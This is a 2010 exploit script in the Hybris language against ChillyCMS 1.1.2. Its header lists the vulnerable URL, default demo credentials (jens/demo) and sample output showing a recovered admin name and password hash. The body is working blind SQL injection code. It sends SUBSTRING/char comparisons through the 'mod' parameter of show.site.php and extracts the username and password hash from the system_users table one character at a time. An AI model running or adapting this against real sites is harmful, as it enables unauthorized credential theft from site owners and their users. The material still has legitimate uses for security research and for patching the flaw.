80 lines
No EOL
1.6 KiB
Raku
Executable file
80 lines
No EOL
1.6 KiB
Raku
Executable file
#!/usr/bin/hybris
|
|
#################################################################################
|
|
#
|
|
# Exploit Title: ChillyCMS Blind Sql Injection
|
|
# Date: 14-05-2010
|
|
# Author: IHTeam
|
|
# Software Link:
|
|
http://chillycms.bplaced.net/chillyCMS/core/show.site.php?id=9
|
|
# Version: 1.1.2
|
|
# Tested on: Win/Linux
|
|
#
|
|
#
|
|
# Example:
|
|
# [user@user Advisories]$ hybris chillycms.hy
|
|
# Searching Username... :
|
|
# admin
|
|
# Searching MD5... :
|
|
# d033e22ae348aeb5660fc2140aec35850c4da997
|
|
#
|
|
#
|
|
# DEFAULT USERNAME AND PASSWORD:
|
|
# User: jens
|
|
# Pass: demo
|
|
#
|
|
# Thanks to evilsocket for Hybris
|
|
# http://www.hybris-lang.org/
|
|
#################################################################################
|
|
|
|
import std.*;
|
|
|
|
query1 = "4/**/AND/**/(SELECT/**/SUBSTRING(";
|
|
query2 = ")/**/FROM/**/system_users/**/limit/**/0,1)=char(";
|
|
|
|
chars =
|
|
[48:0,49:1,50:2,51:3,52:4,53:5,54:6,55:7,56:8,57:9,97:'a',98:'b',99:'c',100:'d',101:'e',102:'f'];
|
|
usr = "";
|
|
password = "";
|
|
|
|
i=1;
|
|
println("Searching Username... : ");
|
|
while(1) {
|
|
found=false;
|
|
chrs = 'a' .. 'z';
|
|
foreach(char of chrs) {
|
|
_chrs = toint(char);
|
|
url =
|
|
"/chillyCMS/core/show.site.php?editprofile&mod="+query1+"user,"+i+",1"+query2+_chrs+")";
|
|
html = http_get( "http://localhost", url );
|
|
if (html ~= "/name='user'/") {
|
|
usr += char;
|
|
i+=1;
|
|
found=true;
|
|
}
|
|
}
|
|
if (!found) {
|
|
break;
|
|
}
|
|
}
|
|
println(usr);
|
|
|
|
i=1;
|
|
println("Searching MD5... : ");
|
|
while(1) {
|
|
found=false;
|
|
foreach(char of chars.keys()) {
|
|
url =
|
|
"/chillyCMS/core/show.site.php?editprofile&mod="+query1+"pw,"+i+",1"+query2+char+")";
|
|
html = http_get( "http://localhost", url );
|
|
if (html ~= "/name='user'/") {
|
|
password += chars[char];
|
|
i+=1;
|
|
found=true;
|
|
}
|
|
}
|
|
if (!found) {
|
|
break;
|
|
}
|
|
}
|
|
println(password);
|
|
println(); |